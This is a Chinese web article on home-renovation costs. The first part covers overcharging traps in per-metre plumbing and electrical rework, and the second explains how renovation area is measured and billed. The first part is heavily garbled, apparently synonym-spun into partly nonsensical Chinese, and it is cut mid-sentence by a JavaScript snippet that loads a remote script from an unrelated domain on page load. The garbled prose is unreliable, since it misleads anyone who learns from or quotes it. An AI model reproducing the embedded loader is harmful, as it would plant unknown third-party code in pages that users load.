我们来说说水电改造计算按米计算陷阱

隐蔽工程的水电改造计算是家装中增项大不了最贵的一项，归因于都是按实结算，最后用度几度过量装裱预算，更有工长披露水电施工的净利润要占到整单实利的30%左不过，这就是说水电改造中到底都有怎么着陷阱呢？1.超低价目： 水电改造计算装修公司为水管7元/米（市面主流品牌的PPR备不住在10元到15元一米，还没用开槽等人工用度），抓住顾主的眼珠，助长成交，骨子里是价目明知故问丢项漏项，末段增加工事全款的辰光，却能翻几倍。多找水电改造计算装修公司做计划性和价码，询问正如后挑三拣四最符合的，再主宰签订合同，合同可确定最后花销与预算的变卦上限，遵照10-15%；2.重复收贷： 水电改造计算开槽都是依据槽的长短计算，有点儿装修公司两管开一槽的硬要算双槽，依照一根槽内有2根水管，则计算2米的开槽费，也有非承重钱开槽、承重墙开槽不同价格等。按米收款的门类急需弄清楚每一花色里的资费，正常走一米电路的资费个中是概括电缆、套管还有线盒。3.背谬衡量： 水电改造计算常有不到1米却按1米来拓展计算，量出的长短超乎实在发生量。由业主、水电设计师、工长一齐承认水路、电路的室内点位，然后再将水电路经的走位用墨粉“弹”到墙上，这样一来就能自由测量出电路、水程的长度，用长短倍加进价则是通栏水电改造的用费。4.偷天换日： 水电改造计算合同中未标明水管及零配件的品牌，或只写品牌不写产品型号认证，动土时水管和备件为其它杂色，某品牌的最低级成品，竟是水管和备件甚至于大过毫无二致牌子。 以上，水电改造计算改造“先企划后施工”的准谱儿，让施工队出具规划图片（可带走）和预算报价单，把领有挂钩订约的本末都该当落实到合同条款中，诸如此类就足以在设计环节把控预算，幸免动土后的被动局 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://m.kcdates.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

装修是按建筑面积还是实际面积？是怎样计算的？

如今装修风格多样，装修材料也是花样百出，各种档次的装修均有，花费自然也有很大差别。大家也知道很多的装修材料及费用是根据面积计算的。我们在买房子的时候会涉及到建筑面积和实际面积两种说法，那么装修面积是指的建筑面积还是实际面积?下面小编给大家具体介绍下装修面积指的是什么，以及装修面积的计算方式是怎样的?装修面积指什么?装修面积是指计算家庭装修中所需要测量的内容大致分为墙面、天棚、地面、门窗等几个部分。使用面积从字面意思上即可理解为户主真正所使用的面积。专业的说法是指建筑物各层平面中直接为生产或生活使用的净面积之和。建筑面积大于使用面积，它是在使用面积的基础上还加上了墙体所占用的面积。专业的说法是指住宅建筑外墙勒脚以上外围水平面测定的各层平面面积之和。通俗地讲，建筑面积包含使用面积，使用面积可以简单描述为地砖可铺设的地方。一般使用面积占据建筑面积的70%左右。装修面积计算方法1、人工铺贴地砖：实际安装面积，长×宽2、人工铺贴墙砖：实际安装面积，长×宽，扣除门窗面积，周边展开计算(或门窗洞口面积减半)3、强化木地板：实际安装面积+实际安装损耗+收口条，踢脚线等辅料4、实木地板：实际安装面积+实际安装损耗5、墙面乳胶漆：实际涂刷面积，长×宽，扣除门窗面积，周边展开计算或门窗洞口减半计算(不扣除0.3m2以内的孔洞所占面积,不扣除阴角线及踢角线高度)6、顶面乳胶漆：实际涂刷面积，长×宽7、墙纸：按实际铺帖面积(不扣除0.3m2以内的孔洞所占面积,不扣除阴角线及踢角线高度)8、窗帘盒：按实际米数计算，乳胶膝另计9、天棚吊顶：平顶按实际面积计算，造型按展开面积计算(乳胶漆另计)，扣板吊顶按实际面积+损耗计算。10、水电改造费：按实际发生改造米数使用材料费收取，改造人工费按实际改造工程量计算。11、柜子：除巳标明按组、件或按项计算的外，其余的均按水平方向的长度或背板面积或展开面积计算。12、阴角线：按实际安装米数计算13、油漆：按实际涂刷面积计算，不扣除1m2以内的孔洞所占面积我们都知道如今的建材是比较贵的，装修一个房子基本的装修几万块没有了，因而在装修时清楚各项费用也是必要的，尤其很多的装修材料以及工费都是按照面积来计算的，因而装修面积出入能关系到很多的费用问题。其实市面上一般装修面积说的都是实际要装修用料的面积，并不是建筑面积，小编在上文中也具体的做了说明，大家可参考。